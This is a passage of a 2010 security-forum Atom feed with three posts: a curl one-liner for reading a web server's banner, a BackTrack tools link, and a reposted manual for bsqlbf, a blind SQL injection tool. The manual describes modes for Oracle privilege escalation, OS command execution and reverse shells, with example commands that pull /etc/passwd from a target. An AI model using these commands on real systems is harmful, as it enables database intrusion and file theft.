			<title type="html"><![CDATA[获取web头信息]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=160&amp;action=new"/>
			<summary type="html"><![CDATA[<p>curl --head <a href="http://www.xx.com">http://www.xx.com</a> | grep Server</p>]]></summary>
			<author>
				<name><![CDATA[shadowhider]]></name>
				<uri>http://www.milsec.net/profile.php?id=167</uri>
			</author>
			<updated>2010-08-02T07:24:01Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=160&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[backtrack4工具学习 （backtrack粉丝们注意咯）]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=106&amp;action=new"/>
			<summary type="html"><![CDATA[<p>诸位backtrack粉丝们注意咯！</p><p><a href="http://backtrack.offensive-security.com/index.php/Tools#Tools_Found_on_BackTrack_3.0_Final_.28This_wiki_is_still_being_updated_for_the_latest_release.29">http://backtrack.offensive-security.com &#133; release.29</a></p><p>学习资料，全E文！！</p><br /><p>TNND,这破网站不稳定，我N天都没打开，害死我了。</p><p>今天好不容易打开了 就保存了一份，共享出来。。&nbsp; 如果大家打不开就下载吧！</p>]]></summary>
			<author>
				<name><![CDATA[LAONA]]></name>
				<uri>http://www.milsec.net/profile.php?id=49</uri>
			</author>
			<updated>2010-08-01T15:47:52Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=106&amp;action=new</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[bsqlbf v 2.6]]></title>
			<link rel="alternate" href="http://www.milsec.net/viewtopic.php?id=289&amp;action=new"/>
			<summary type="html"><![CDATA[<p>This is a modified version of &#039;bsqlbfv1.2-th.pl&#039;. This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections. Databases supported:</p><p>0. MS-SQL</p><p>1. MySQL</p><p>2. PostgreSQL</p><p>3. Oracle</p><p>The tool supports 8 attack modes(-type switch):-<br />Type 0: Blind SQL Injection based on true and false conditions returned by back-end server</p><p>Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.</p><p>Type 2: Blind SQL Injection in &quot;order by&quot; and &quot;group by&quot;.</p><p>Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)</p><p>Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)</p><p>Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java)</p><p>Type 6: is O.S code execution DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit</p><p>Type 7: is O.S code execution SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs</p><p>&nbsp; &nbsp; -cmd=revshell Type 7 supports meterpreter payload execution, run generator.exe first </p><p>Type 8: is O.S code execution DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions</p><p>&nbsp; &nbsp; -cmd=revshell Type 8 supports meterpreter payload execution, run generator.exe first </p><p>For Type 4(O.S code execution) the following methods are supported:</p><p>-stype: How you want to execute command:</p><p>&nbsp; &nbsp; SType 0 (default) is based on java..will NOT work against XE. </p><p>&nbsp; &nbsp; SType 1 is against oracle 9 with plsql_native_make_utility. </p><p>&nbsp; &nbsp; SType 2 is against oracle 10 with dbms_scheduler. </p><p>Usage example:</p><p>$./bsqlbf-v2.pl -url <a href="http://192.168.1.1/injection_string_post/1.asp?p=1">http://192.168.1.1/injection_string_post/1.asp?p=1</a> -method post -match true -database 0 -sql &quot;select top 1 name from sysobjects where xtype=&#039;U&#039;&quot;</p><p>./bsqlbf-v2.3.pl -url <a href="http://192.168.1.1/injection_string_post/1.jsp?p=1">http://192.168.1.1/injection_string_post/1.jsp?p=1</a> -type 4 -match &quot;true&quot; -cmd &quot;ping notsosecure.com&quot;<br />User Interface:</p><p>ubuntu@ubuntu:~$ ./bsqlbf-v2-3.pl </p><br /><p>// Blind SQL injection brute forcer \\ //originally written by...aramosf@514.es \\ // mofified by sid-at-notsosecure.com \\ // <a href="http://www.notsosecure.com">http://www.notsosecure.com</a> \\ ---------------------usage:-------------------------------------------</p><p>Integer based Injection--&gt;./bsqlbf-v2-3.pl - url <a href="http://www.host.com/path/script.php?foo=1000">http://www.host.com/path/script.php?foo=1000</a> (options) String Based Injection--&gt;./bsqlbf-v2-3.pl - url <a href="http://www.host.com/path/script.php?foo=bar">http://www.host.com/path/script.php?foo=bar&#039;</a> (options) ------------------------------------options:-------------------------- -sql: valid SQL syntax to get; version(), database(), (select table_name from inforamtion_schema.tables limit 1 offset 0) -get: If MySQL user is root, supply word readable file name -blind: parameter to inject sql. Default is last value of url -match: RECOMMENDED string to match in valid query, Default is auto -start: if you know the beginning of the string, use it. -length: maximum length of value. Default is 32. -time: timer options: 0: dont wait. Default option. 1: wait 15 seconds 2: wait 5 minutes</p><p>-type: Type of injection: 0: Type 0 (default) is blind injection based on True and False responses 1: Type 1 is blind injection based on True and Error responses 2: Type 2 is injection in order by and group by 3: Type 3 !!New!! is extracting data with SYS privileges (ORACLE dbms_export_extension exploit) 4: Type 4 !!New!! is O.S code execution (ORACLE dbms_export_extension exploit) 5: Type 5 !!New!! is reading files (ORACLE dbms_export_extension exploit, based on java)</p><p>-file: File to read (default C:\boot.ini)</p><p>-stype: How you want to execute command: 0: SType 0 (default) is based on java..will NOT work against XE 1: SType 1 is against oracle 9 with plsql_native_make_utility 2: SType 2 is against oracle 10 with dbms_scheduler -database: Backend database: 0: MS-SQL (Default) 1: MYSQL 2: POSTGRES 3: ORACLE -rtime: wait random seconds, for example: &quot;10-20&quot;. -method: http method to use; get or post. Default is GET. -cmd: command to execute(type 4 only). Default is &quot;ping 127.0.0.1.&quot; -uagent: http UserAgent header to use. Default is bsqlbf 2.3 -ruagent: file with random http UserAgent header to use. -cookie: http cookie header to use -rproxy: use random http proxy from file list. -proxy: use proxy http. Syntax -proxy=http://proxy:port/ -proxy_user: proxy http user -proxy_pass: proxy http password</p><p>---------------------------- examples:------------------------------- bash# ./bsqlbf-v2-3.pl -url <a href="http://www.somehost.com/blah.php?u=5">http://www.somehost.com/blah.php?u=5</a> -blind u -sql &quot;select table_name from imformation_schema.tables limit 1 offset 0&quot; -database 1 -type 1</p><p>bash# ./bsqlbf-v2-3.pl -url <a href="http://www.buggy.com/bug.php?r=514&amp;p=foo">http://www.buggy.com/bug.php?r=514&amp;p=foo&#039;</a> -method post -get &quot;/etc/passwd&quot; -match &quot;foo&quot;</p><p>Donations: If you find this tool helpful and would like to make a donation, please visit <a href="http://www.notsosecure.com">www.notsosecure.com</a></p>]]></summary>
			<author>
				<name><![CDATA[Sh@doM]]></name>
				<uri>http://www.milsec.net/profile.php?id=2</uri>
			</author>
			<updated>2010-07-30T03:47:41Z</updated>
			<id>http://www.milsec.net/viewtopic.php?id=289&amp;action=new</id>
		</entry>
</feed>
